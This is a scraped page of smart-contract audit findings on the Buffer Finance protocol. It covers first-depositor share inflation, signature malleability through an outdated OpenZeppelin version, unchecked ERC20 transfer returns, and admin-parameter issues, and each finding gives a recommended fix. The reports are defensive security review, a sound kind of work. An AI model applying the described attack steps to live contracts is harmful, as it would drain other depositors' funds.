Share price manipulation is possible for first depositor of BufferBinaryPool. As a result next depositors can lost part of their funds, while attacker will get more.
Vulnerability Detail
BufferBinaryPool is created.
Alice buys first share for 1 wei using BufferBinaryPool.provide
function. Price of 1 share becomes 1 wei.
Then Alice donates a big amount aliceAmount
of assets to BufferBinaryPool directly(simple ERC20 transfer). Now we have 1 wei
amount of shares and aliceAmount + 1
of deposited assets controlled by BufferBinaryPool.
Then Bob deposits arbitrary amount of assets, that is bobAmount > aliceAmount
.
As result Bob receives bobAmount / (aliceAmount + 1)
shares because of rounding here. Bob loses part of bobAmount % aliceAmount
sent to the vault, alice controls more assets in vault now.
Impact
Next depositors can lost their money, while first user will take all of them or some part.
Code Snippet
Tool used
Manual Review
Recommendation
Add limit for the first deposit to be a big amount to mint big amount of shares on start.
Duplicate of #81
jonatascm - Not protected against signature malleability
jonatascm
medium
Not protected against signature malleability
Summary
There are two issues related to signature malleability:
- The function
_validateSigner
is not using the correctly EIP-712 - OpenZeppelin has a vulnerability in versions lower than 4.7.3, which an attacker can exploit. This project uses vulnerable version 4.3.2.
Vulnerability Detail
All of the conditions from the advisory are satisfied: the signature comes in a single bytes
argument, ECDSA.recover()
is used, and the signatures themselves are used for replay protection checks GHSA-4h98-2769-gh6h
Either a malicious user, in the case of isInPrivateKeeperMode == false
, or a malicious keeper can bypass _validateSigner
either creating a new signature due to version of OZ or reusing a signature due to not correctly implementing of EIP-712, opening a queued trade with a different price or closing a valid queued trade through resolveQueuedTrades
or changing priceAtExpiry while unlocking options through unlockOptions
Impact
Some users could have their trade affected or the malicious user can win all his options by changing the priceAtExpiry
Code Snippet
[BufferRouter.sol#L260-L271](https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferRouter.sol#L260-L271)
function _validateSigner(
uint256 timestamp,
address asset,
uint256 price,
bytes memory signature
) internal view returns (bool) {
bytes32 digest = ECDSA.toEthSignedMessageHash(
keccak256(abi.encodePacked(timestamp, asset, price))
);
address recoveredSigner = ECDSA.recover(digest, signature);
return recoveredSigner == publisher;
}
Tool used
Manual Review
Recommendation
- Upgrade OZ version to 4.73 or 4.8.0.
- Fix EIP-712 implementation by adding a nonce
0x4non - Due lack of validation the `maxLiquidity` could be set in an invalid amount
0x4non
medium
Due lack of validation the maxLiquidity
could be set in an invalid amount
Summary
There is no check in set setMaxLiquidity
function
Vulnerability Detail
This invariant should always hold maxLiquidity >= totalTokenXBalance()
and because there is no check in maxLiquidity
it could be break.
Impact
The maxLiquidity
could be set in an invalid amount
Code Snippet
/**
* @notice Used for adjusting the max limit of the pool
*/
function setMaxLiquidity(uint256 _maxLiquidity)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
maxLiquidity = _maxLiquidity;
emit UpdateMaxLiquidity(_maxLiquidity);
}
Tool used
Manual Review
Recommendation
Add a require to ensure the new _maxLiquidity
value is valid;
diff --git a/contracts/contracts/core/BufferBinaryPool.sol b/contracts/contracts/core/BufferBinaryPool.sol
index ea4a276..a26a8b9 100644
--- a/contracts/contracts/core/BufferBinaryPool.sol
+++ b/contracts/contracts/core/BufferBinaryPool.sol
@@ -60,6 +60,7 @@ contract BufferBinaryPool is
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
+ require(_maxLiquidity >= totalTokenXBalance(), 'Invalid new maxLiquidity');
maxLiquidity = _maxLiquidity;
emit UpdateMaxLiquidity(_maxLiquidity);
}
supernova - lockedPeriod check can be bypassed in certain case.
supernova
high
lockedPeriod check can be bypassed in certain case.
Summary
The _getUnlockedLiquidity
function in BufferBinary contract checks whether the locked funds are unlocked or not .
It relies on the current block.timestamp
and the lockedPeriod
.
And lockedPeriod can be changed in the future.(Refer to my previous vulnerability report #2 )
Vulnerability Detail
Consider a scenario where , current lockedPeriod
= 10 minutes and I entered in a position at 11 AM . And side by side , admin decides to change the lockedPeriod
value from 10 minutes to 30 minutes. Now , if the user tries to get out of the position for another 20 minutes , he will not be able to do so , as the value is changed and _getUnlockedLiquidity
function reads the lockedPeriod
value directly as an SLOAD. Hence any change to it , will impact users with active positions.
Options is a volatile market, every minute matters , this will have a severe impact , every time the lockedPeriod is changed.
Preventing this via a timelock in changing the lockedPeriod function will not do much help , as there is no restriction for users to enter a new position at the last minute , when the lockedPeriod
value will be changed.
Impact
Code Snippet
Tool used
Manual Review
Recommendation
Cache the lockedPeriod in the ProvidedLiquidity struct and use it instead of calling the SLOAD directly, thereby preventing damage to users in case of change in lockedPeriod.
0xcc - Unsafe usage of ERC20 transfer and transferFrom
0xcc
medium
Unsafe usage of ERC20 transfer and transferFrom
Summary
Unsafe usage of ERC20 transfer and transferFrom.
Vulnerability Detail
Some ERC20 tokens functions don’t return a boolean. So the BufferBinaryPool contract simply won’t work with tokens like that as the token.
Impact
Some token transfer and transferFrom functions doesn't return a bool, so the call to these functions will revert although the user has enough balance and the BufferBinaryPool contract won't work.
Code Snippet
https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferBinaryPool.sol#L161
https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferBinaryPool.sol#L204
https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferBinaryPool.sol#L236
https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferBinaryPool.sol#L322
Tool used
Manual auditing - VS Code, some hardhat tests and me :)
Recommendation
Use the OpenZepplin's safeTransfer and safeTransferFrom functions
Duplicate of #73
m_Rassska - Unchecked return value for transferFrom() call
m_Rassska
high
Unchecked return value for transferFrom() call
Summary
- Unchecked return value for transferFrom() call
Vulnerability Detail
- In BufferRouter.sol there is a function initiateTrader() for option creation purposes. During the execution the optionsContract.tokenX() supposed to receive some fees, however the transferFrom() for some tokens returns bool instead of reverting. Since the returned value is not checked, this lead to undesired behavior.
Impact
- The user can pass the option into the queue without sending fees.
Code Snippet
function initiateTrade(
uint256 totalFee,
uint256 period,
bool isAbove,
address targetContract,
uint256 expectedStrike,
uint256 slippage,
bool allowPartialFill,
string memory referralCode,
uint256 traderNFTId
) external returns (uint256 queueId) {
// Checks if the target contract has been registered
require(
contractRegistry[targetContract],
"Router: Unauthorized contract"
);
IBufferBinaryOptions optionsContract = IBufferBinaryOptions(
targetContract
);
optionsContract.runInitialChecks(slippage, period, totalFee);
// Transfer the fee specified from the user to this contract.
// User has to approve first inorder to execute this function
IERC20(optionsContract.tokenX()).transferFrom(
msg.sender,
address(this),
totalFee
);
queueId = nextQueueId;
nextQueueId++;
QueuedTrade memory queuedTrade = QueuedTrade(
queueId,
userQueueCount(msg.sender),
msg.sender,
totalFee,
period,
isAbove,
targetContract,
expectedStrike,
slippage,
allowPartialFill,
block.timestamp,
true,
referralCode,
traderNFTId
);
queuedTrades[queueId] = queuedTrade;
userQueuedIds[msg.sender].push(queueId);
emit InitiateTrade(msg.sender, queueId, block.timestamp);
}
```
## Tool used
- Manual Review
## Recommendation
- Wrap **transferFrom()** around require statement to handle failures.
Duplicate of #73
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.